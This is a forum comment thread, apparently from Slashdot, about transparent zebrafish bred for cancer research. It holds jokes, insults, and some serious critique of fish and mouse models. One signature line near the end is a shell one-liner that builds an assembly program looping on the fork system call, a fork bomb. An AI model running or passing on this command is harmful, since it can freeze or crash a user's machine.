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See-Through Fish Help Cancer Research
Hugh Pickens writes "What is transparent, swims, and helps cure cancer? Caspar the friendly fish — a zebrafish bred with a see-through body to make studying disease processes easier for rapidly changing processes such as cancer, Zebrafish are genetically similar to humans in many ways and serve as good models for human biology and disease. In one experiment, researchers inserted a fluorescent melanoma tumor into the abdominal cavity of the transparent fish and by observing the fish under a microscope, they found that the cancer cells started spreading within five days and could actually see individual cells spreading. "The process by which a tumor goes from being localized to widespread and ultimately fatal is the most vexing problem that oncologists face," says Richard White, a clinical fellow in the Stem Cell Program at Children's Hospital Boston. "We don't know why cancer cells decide to move away from their primary site to other parts in the body." Researchers created the transparent fish, (photo) by mating two existing zebrafish breeds, one that lacked a reflective skin pigment and the other without black pigment. The offspring had only yellow skin pigment, essentially appearing clear."
THIS is a transparent fish. I have five of these, and they never cease to amaze me.
End of lesson. You may press the button.
Something new to eat. Thank you Jesus!
I'd like to see how you look with a fluorescent tumour inserted into your abdominal cavity.
www.timcoleman.com is a total waste of your time. Never go there.
1) Figure out the genes involved via a bioinformatics database. ...)
5) See-through zebra fish.
2) Order the genes - look up oligonucleotide synthesis companies, or DIY with the open source machine.
3) Download the biokit for do-it-yourself genetic engineering.
4) ??? (tanks, supplies, tissue culture, obtaining zebra fish and feed
...now if they can only make us transparent also....
>Zebrafish are genetically similar to humans in many ways
Yeah, yeah. That's what I kept telling the cops. They said, "'k, son, maybe so, but they're still underaged."
Thank you, thank you. I'll be here in court all week. Don't forget to tip your waiter, and don't eat the fish platter.
When do they breed see-through people, for the human studies?
Just -1, Troll talking to another.
>> that fish looks gross
Just wait 'till it poops.
No, you find the gene at http://zfin.org/
See people, we can create freakish nightmares of creation without even using genetic modification! Really, being afraid of the unnatural qualities of "Frankenfood" makes about as much sense as being afraid of "Boo-Berry" cereal.
Demented But Determined.
In the future, see-through fish will torture and experiment on you! Hope it's painful too, you deserving SOBs.
For other universities who happen to want to work with these fish, I recommend contacting Zoltán Varga. He's a director at the Zebrafish International Resource Center at the University of Oregon.
He also has a great family and we had dinner at his house a couple weeks ago, Zoltán making a tasty Thai soup. The best part about visiting is that his wife is French and they're always talking in various languages at the dinner table. For some reason when the dog is bad, they always chastise him in German.
Crystal Sushi
Weeks of coding saves hours of planning.
I looked at the photo, but I couldn't see the fish.
if it doesn't have stripes, can you still call it a zebrafish?... (please don't reply to this unless you want to get all techno-pedantic)
I can just picture it now... "Here's the fish you ordered sir". "But wait, its an empty plate, I don't see the fish".
Strange. The Emperor seems quite fond of the dish...
If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").
I'd like to see how you look with a fluorescent tumour inserted into your abdominal cavity.
It would be ironic if they cured cancer, but they had to make you transparent first...
ZuluPad, the wiki notepad on crack
Fuck cancer, I wanna be transparent too !
Wanna fight ? Bend over, stick your head up your ass, and fight for air.
Two great things about zebrafish:
1. You can see all sorts of diseases in them, not just cancer.
2. They're cheap. A small team at a small lab, like at a State College (see Project #4), can do good quality research with them. Even better, several small teams can be researching concurrently.
I'd rather have someone respond than be modded up.
Why did the cancer cell cross the road? To metastasize.
[Thank you Nullav (and others).]
It must have been something you assimilated. . . .
In the US there are a million DVCs (deer-vehicle crashes) per year, costing thousands of lives and billions of dollars of damage:
http://www.michigan.gov/documents/mdot/MDOT_RC-1475_177128_7.pdf
There's lots of possible good value in genetically modified animals ( http://science.slashdot.org/article.pl?sid=06/12/31/0422226&from=rss ), including making deer flourescent to limit the # of crashes.
I just read about the transparent frog. Did Japanese scientists do this one too? I mean, I've known they had a transparency fetish ever since I stumbled on that hentai site but this is ridiculous!
Remember seeing them before as novelties in the aquariums of a department store pet department... and was likely 25 years ago.
Blindfold, last cigarette than....
Animal models were great when we didn't realize how the heart worked or what the liver did. They are pretty much worthless nowadays for anything other than producing grants that suck money from worthwhile endeavors into "ooh, look what cool stuff we did now!" pursuits. BTW, I expect to be sleeping for a long while.
That's not ironic. That's just a side effect.
"Ask your health care professional about Cancex! This drug may also cause minor side effects, including dizziness, insomnia, constipation, transparency, and mild to moderate death."
Won't someone PLEASE think of the... fish?!
THIS is a transparent fish:
The real question to ask here is whether the spreading they observed has anything to do with how human cancers actually work.
1.) I think it's safe to say noone contracts cancer by getting injected with a tumor
2.) A melanoma (external skin cancer) would probably never originate inside the abdominal cavity. In other words, by implanting it you have already "metastasized" it.
and most importantly,
3.) It's a fish. It's not a human. It's not even a mammal. It's not even warm blooded. In other words, while its genetic code may not be too different on a DNA level, it's pretty gosh darned different from a human. Are the conclusions about how a human cancer evolves in a fish clinically relevant in humans. More to the point, will a fish's immune system deal with the spreading cells substantially differently than a human system. Given that genes important in embryonic development are often also oncogenes, does a model organism with a radically different developmental program really reflect how cancer operates in a human.
Bottom line: When mice subjected to the same kinds of experiments are treated with drug candidates, those drugs occasionally seem to work brilliantly. The mechanism of action for those candidates in some cases have been worked out, but still virtually none have any effect in humans. So, clearly, cancer does not work the same way in humans and mice. And mice are a whole lot more closely related to us than zebrafish are.
"The embryos are large, robust, and transparent and develop externally to the mother, characteristics which all facilitate experimental manipulation and observation." wiki
no genetic modification necessary. the embryos were already transparent.
Being transparent would be pretty cool. You could eat loads of spinach, then loads of oranges, then beetroot and watch your insides impersonate a traffic light.
It's true I tell you, feller at work's next door neighbour read it in the paper.
Quote: "We don't know why cancer cells decide to move away from their primary site to other parts in the body."
Someone thinking carefully expresses thoughts carefully. A careful-thinking person would never say "decide to", because that communicates the idea that the cancer cells are thinking.
So, maybe you are right. Maybe it's just fraud masquerading as science, sneaky marketing, not a breakthrough. Maybe they are just trying to sell their own brand of transparent fish.
At least you'd have some advanced warning!
It's true I tell you, feller at work's next door neighbour read it in the paper.
What's the difference between their creation(http://forumpix.co.uk/i.php?I=1202390041) and this (http://forumpix.co.uk/i.php?I=1202390769)? Haven't they just re-invented the wheel?
Oops. Misread that the first time by, but I'm sure there's some group out there making plans to rescue all of these zebrafish from the evils of medical research. Then they'll rehabilitate them and release them into the wild where they'll be free and happy.
You never really know how close to the edge you can go until you fall off.
Crystal Pepsi was actually from the early 90's.
You can't handle the truth.
Glofish are the same species, with a genetic hack to express green, yellow, or red flourescent protien in their muscle tissue. After the initial release of the red ones, which still had the black and silvery pigment expressions, and had bad reviews for being "dim", the company that "makes" them switched their stock to ones that expressed the flourescent protien coupled with these same types of albinism. Glofish purchased now days are very brightly colored as a result of no competing layers of skin pigment.
:-)
If you cross breed a bunch of them, including second gen cross breeds (with regular zebrafish stock) you will get a few of these albino/clearish fish. Pretty neat that anyone can get going with the same type of hackery with a $4 fish purchase from Walmart.
Let's hope this one does not create a virus that kills 95% of the human population, right?
Talk about being naked in an entirely new kind of way.
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
+1 Funny.
The difference is that the glass catfish you linked to is a complete PITA to breed comparatively speaking, while the zebra fish engages in free (and prolific) love.
If there's a castle floating upside down in the sky, then there's a castle floating upside down in the sky.
That's not actually a picture of the fish with the tumor... those are just the internal organs of the fish.
My blog. Good stuff (when I remember to update it). Read it.
Not to mention that zebrafish have a completely mapped genome, which also makes it a much better candidate for a lot of studies.
My blog. Good stuff (when I remember to update it). Read it.
I think it would be relaxing to have a huge aquarium full of cancer fish in your office. Plus if you were the CEO you'd explain their lifecycle to employees who'd screwed up in some way as your hot secretary scooped out the old misshapen dying ones and replaced them with new healthy looking ones.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I am getting sick of this HDR stuff.
But then again, I could be wrong.
What's new about this? The Nacre line does not develop pigmentation. People have been using this fish for quite a while. It's a mutation in a different gene?
Where are these brown traffic lights you speak of, sir?
http://liquidben.com - Aspiring to an 'under construction' gif
yeah, I'd rather render my transparent fish in blue and red and look at it through colored cardboard and cellophane glasses.